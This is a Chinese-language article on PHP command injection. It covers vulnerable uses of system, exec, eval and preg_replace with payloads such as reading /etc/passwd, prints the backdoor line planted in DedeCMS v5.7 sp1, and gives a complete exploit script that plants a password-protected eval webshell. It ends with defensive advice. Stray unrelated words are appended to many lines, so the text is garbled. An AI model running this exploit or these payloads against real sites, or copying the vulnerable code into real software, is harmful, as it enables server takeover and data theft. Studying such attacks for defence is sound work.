PHP命令注入攻擊漏洞是PHP應用程序中常見的腳本漏洞之一,國內著名的Web應用程序Discuz!、DedeCMS等都曾經存在過該類型漏洞。本文描述了常見的PHP命令注入攻擊漏洞存在形式和利用方法,結合漏洞實例進行分析和漏洞利用,並針對如何防範PHP命令注入攻擊漏洞給出了可行的方法和建議。php
Command Injection,即命令注入攻擊,是指因爲Web應用程序對用戶提交的數據過濾不嚴格,致使黑客能夠經過構造特殊命令字符串的方式,將數據提交至Web應用程序中,並利用該方式執行外部程序或系統命令實施攻擊,非法獲取數據或者網絡資源等。命令注入攻擊最初被稱爲Shell命令注入攻擊,是由挪威一名程序員在1997年意外發現的,他經過構造命令字符串的方式從一個網站刪除網頁,就像從硬盤中刪除一個文件同樣簡單。下面咱們結合PHP語言的特性,對PHP命令注入攻擊進行簡要的分析和描述。程序員
PHP命令注入攻擊web
PHP命令注入攻擊存在的主要緣由是Web應用程序員在應用PHP語言中一些具備命令執行功能的函數時,對用戶提交的數據內容沒有進行嚴格的過濾就帶入函數中執行而形成的。例如,當黑客提交的數據內容爲向網站目錄寫入PHP文件時,就能夠經過該命令注入攻擊漏洞寫入一個PHP後門文件,進而實施進一步的滲透攻擊。shell
命令執行函數利用瀏覽器
在PHP中,能夠實現執行外部程序或函數的命令執行函數包括如下5個函數。安全
1. System:system函數能夠用來執行一個外部的應用程序並將相應的執行結果輸出,函數原型以下:服務器
string system(string command, int &return_var)網絡
其中,command是要執行的命令,return_var存放執行命令的執行後的狀態值。app
按照PHP程序員的想法,命令執行函數的主要做用是能夠經過命令執行函數與Web應用程序進行交互,經過Web應用程序執行外部程序或系統命令,如Web應用程序員想經過system函數獲取指定目錄的文件內容,那麼他能夠經過構造以下代碼實現。函數
<?
$dir = $_GET["dir"];
if(isset($dir))
{
echo "<pre>";
system("ls -al".$dir);
echo "</pre>";
}
?>
Web應用程序員能夠經過提交不一樣的dir內容來獲取不一樣目錄下的文件信息,可是黑客能夠經過使用下列URL來進行命令注入攻擊:
file.php?dir=|cat /etc/passwd
結果system函數執行的命令就變成以下內容:
System(「ls –al|cat /etc/passwd」);
這個命令就會將/etc/passwd文件中的內容反饋給黑客。
一樣,構造PHP代碼以下:
<?
$cmd = $_GET["cmd"];
echo "<pre>";
system($cmd);
echo "</pre>";
?>
在瀏覽器中訪問這個PHP文件,並提交cmd的內容爲「net start」,黑客目的是經過命令注入攻擊查看Web服務器主機都開啓了哪些服務,訪問執行後返回的結果以下圖1所示:
圖1
2. Exec:exec函數能夠用來執行一個外部的應用程序,函數原型以下:
string exec (string command, array &output, int &return_var)
其中,command是要執行的命令,output是得到執行命令輸出的每一行字符串,return_var存放執行命令後的狀態值。
能夠經過構造以下PHP代碼進行測試:
<?
$cmd = $_GET["cmd"];
$output = array();
echo "<pre>";
exec($cmd,$output);
echo "</pre>";
while(list($key,$value)=each($output))
{
echo $value."<br>";
}
?>
3. Passthru:passthru函數能夠用來執行一個UNIX系統命令並顯示原始的輸出,當UNIX系統命令的輸出是二進制的數據,而且須要直接返回值給瀏覽器時,須要使用passthru函數來替代system與exec函數。Passthru函數原型以下:
void passthru (string command, int &return_var)
其中,command是要執行的命令,return_var存放執行命令後的狀態值。
能夠經過構造以下PHP代碼進行測試:
<?
$cmd = $_GET["cmd"];
echo "<pre>";
passthru($cmd);
echo "</pre>";
?>
4. Shell_exec:執行shell命令並返回輸出的字符串,函數原型以下:
string shell_exec (string command)
其中,command是要執行的命令。
能夠經過構造以下PHP代碼進行測試:
<?
$cmd = $_GET["cmd"];
echo "<pre>";
shell_exec($cmd);
echo "</pre>";
?>
5. ``運算符:與shell_exec功能相同,執行shell命令並返回輸出的字符串。
能夠經過構造以下PHP代碼進行測試:
<?
$cmd = $_GET["cmd"];
$output = `$cmd`;
echo "<pre>";
echo $output;
echo "</pre>";
?>
Eval注入攻擊利用
在PHP語言中,除了上述5種常見的命令執行函數能夠致使命令注入攻擊之外,還有另一種命令注入攻擊方式,咱們稱之爲eval注入攻擊方式。Eval函數會將參數字符串做爲PHP程序代碼來執行,用戶能夠將PHP代碼保存成字符串的形式,而後傳遞給eval函數執行。Eval函數的原型以下:
Mixed eval(string code_str)
Code_str是PHP代碼字符串,黑客能夠經過構造傳入eval函數中的所有或部分字符串的內容實現命令注入攻擊。
爲了測試eval命令注入攻擊,咱們構造PHP代碼以下:
<?
$cmd = $_GET["cmd"];
eval($cmd);
?>
而後咱們提交cmd內容爲「phpinfo();」,phpinfo函數的做用是查看當前php環境相關信息的函數。在瀏覽器中提交http://127.0.0.1/index.php?cmd=phpinfo();後,返回結果以下圖2所示。
圖2
咱們發現咱們提交的字符串「phpinfo();」通過eval函數的處理後,能夠按照PHP函數進行執行,並將結果反饋給咱們,那麼執行相應的其餘PHP函數,如寫入文件,查詢文件信息等功能的代碼字符串時,一樣能夠執行。
PHP語言中的preg_replace函數、str_replace函數以及call_user_func函數一樣能夠實現eval注入攻擊的效果。這裏咱們以preg_replace函數做爲例子進行描述,str_replace函數以及call_user_func函數實現的方法相似,你們能夠參考網上對這兩個函數的描述自行測試。Preg_replace函數的做用是用來執行常規表達式的查找和替換的,函數原型以下:
Mixed preg_replace(mixed pattern, mixed replacement, mixed subject, int limit, int &count)
其中,Pattern是用來查找的常規表達式,replacement是用來替換的字符串,submit是要查找替換的字符串,limit是能夠替換的字符串數,count是成功替換的數目。函數將返回替換後的字符串,當Pattern參數使用/e修正符時,preg_replace函數會將replacement參數看成 PHP代碼執行,那麼,針對此種狀況,當replacement內容爲用戶可控數據時,就可能致使命令注入攻擊漏洞的造成。爲了測試preg_replace函數,咱們構造PHP代碼以下:
<?
$string = "hello world";
$pattern = "/^/e";
echo preg_replace($pattern, $_GET["str"], $string);
?>
一樣在瀏覽器中提交http://127.0.0.1/index.php?str=phpinfo();,返回結果以下圖3所示,phpinfo()函數也被執行了。
圖3
漏洞實例分析
經過上述對常見PHP命令注入攻擊存在的狀況,咱們結合實際漏洞存在狀況,分析一下如何利用命令注入攻擊漏洞。咱們這裏以國內著名的織夢網站管理系統(DeDeCMS)爲例進行描述。
今年3月22日,織夢官方網站提供下載的織夢CMS(Dedecms) v5.7 sp1版本中的shopcar.class.php文件被植入一句後門代碼,如圖4所示:「@eval(file_get_contents('php://input'));」。
圖4
經過分析查看,咱們發現代碼插入的位置爲類MemberShops的構造函數中,而插入的代碼正好是咱們上面描述存在命令注入攻擊的eval函數,那麼執行的內容是否爲可控內容呢?php://input是一個輸入流,能夠經過POST方式獲取相應的原始數據內容,也就是說eval函數執行的內容能夠經過構造POST數據包的方式進行控制,也就致使了命令注入攻擊漏洞的造成。那麼,要如何利用這個漏洞實施攻擊呢?後門代碼出如今MemberShops類的構造函數中,那麼經過搜索程序中哪些地方使用了這個類就能夠進行檢測,最簡單的方法就是找到沒有特殊條件直接執行new操做的頁面就能夠了。這裏使用plus目錄下的car.php文件,如圖5所示。
圖5
在car.php文件的第17行代碼處,咱們發現了能夠被咱們利用的地方,那麼結合咱們剛剛的分析,咱們構造一個POST數據包,內容以下圖6所示。
圖6
這裏咱們插入的數據內容是「echo "Command Injection Test";」,當數據執行到eval函數時,執行的相應操做爲eval(echo "Command Injection Test";);,echo函數的功能是輸出相應的字符串,那麼咱們就能夠根據服務器返回的數據包中觀察是否含有特徵字符串「Command Injection Test」便可。當發現該字符串存在時,說明echo函數被執行了,也就說明命令注入攻擊漏洞利用成功。咱們在本地測試環境中使用NC對上述構造的POST數據包進行提交,返回的數據報文以下圖7所示。
圖7
從返回的數據內容中咱們發現了咱們定義的特徵字符串「Command Injection Test」,也說明了echo函數被執行了,該命令注入攻擊漏洞能夠被成功利用。可是,咱們又如何更好地利用這個命令注入攻擊漏洞呢?簡單輸出一個字符串根本沒法達到咱們入侵滲透網站的目的,那麼咱們繼續嘗試構造輸入的命令信息,嘗試寫入一個PHP文件,也就能夠成功獲取網站的webshell。想寫入文件,咱們也就想到了PHP中的fputs函數,咱們構造提交的數據內容爲「fputs(fopen('1.php','w+'),'<?php @eval(\$_POST[c])?>');」,這句代碼的做用是向目錄中寫入一個1.php的文件,而且文件的內容爲「<?php @eval(\$_POST[c])?>」,這個也正是咱們常說的PHP一句話木馬,爲了實現該命令注入攻擊漏洞利用的通用性,咱們經過PHP構造一個漏洞利用程序,程序代碼以下:
<?php
if ($argc < 3) {
print_r("
+---------------------------------------------------------------------------+
Usage: php ".$argv[0]." host path
Example:
php ".$argv[0]." www.xxx.com /dedecms/
+---------------------------------------------------------------------------+
");
exit;
}
error_reporting(7);
ini_set("max_execution_time", 0);
$host = $argv[1];
$path = $argv[2];
$cmd = "echo \"exploitsuccess\"; fputs(fopen('1.php','w+'),'<?php @eval(\$_POST[c])?>');";
$resp = send($cmd);
if (eregi("exploitsuccess",$resp))
{
echo "[+] Exploit Success!\n";
echo "[+] Webshell: http://".$host.$path."plus/1.php\n";
echo "[+] Webshell Password: c\n";
}else{
echo "[-] Exploit failed!\n";
}
function send($cmd)
{
global $host, $path;
$message = "POST ".$path."plus/car.php HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: http://$host$path\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Cookie: PHPSESSID=7qmtag178ilo7gep29ubj4n3a1;
OrdersId=UAcELgBRBDNZPAszAWBTal5rBWQANQ86BzANUlcfVTYBNlBg\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
該漏洞利用程序的做用是用戶只須要將網站網站域名和dedecms的路徑輸入便可,程序會自動實現漏洞利用,寫入webshell,並將相關信息進行反饋,對本地環境測試的結果以下圖8所示:
圖8
結果顯示咱們成功獲取webshell,鏈接地址爲http://127.0.0.1/dede/plus/1.php,密碼爲c。使用工具鏈接該webshell地址能夠成功鏈接並獲取網站目錄及文件的相關信息,以下圖9所示。
圖9
PHP命令注入攻擊漏洞的防範
經過上面的分析和描述,咱們發現PHP中命令注入攻擊漏洞帶來的危害和影響很嚴重。防範命令注入攻擊漏洞的存在能夠經過如下幾種方法。
1. 儘可能不要執行外部的應用程序或命令。
2. 使用自定義函數或函數庫實現外部應用程序或命令的功能。
3. 在執行system、eval等命令執行功能的函數前,肯定參數內容。
4. 使用escapeshellarg函數處理相關參數。Escapeshellarg函數會將任何引發參數或命令結束的字符進行轉義,如單引號「’」會被轉義爲「\’」,雙引號「」」會被轉義爲「\」」,分號「;」會被轉義爲「\;」,這樣escapeshellarg會將參數內容限制在一對單引號或雙引號裏面,轉義參數中所包含的單引號或雙引號,使其沒法對當前執行進行截斷,實現防範命令注入攻擊的目的。
5. 使用safe_mode_exec_dir執行可執行的文件路徑。將php.ini文件中的safe_mode設置爲On,而後將容許執行的文件放入一個目錄中,並使用safe_mode_exec_dir指定這個可執行的文件路徑。這樣,在須要執行相應的外部程序時,程序必須在safe_mode_exec_dir指定的目錄中才會容許執行,不然執行將失敗。
PHP命令注入攻擊漏洞是PHP應用程序常見漏洞之一。國內著名的PHP應用程序,如discuz!、dedecms等大型程序在網絡中均被公佈過存在命令注入攻擊漏洞,黑客能夠經過命令注入攻擊漏洞快速獲取網站權限,進而實施掛馬、釣魚等惡意攻擊,形成的影響和危害十分巨大。同時,目前PHP語言應用於Web應用程序開發所佔比例較大,Web應用程序員應該瞭解命令注入攻擊漏洞的危害,修補程序中可能存在的被黑客利用的漏洞狀況,保護網絡用戶的安全,免受掛馬、釣魚等惡意代碼的攻擊。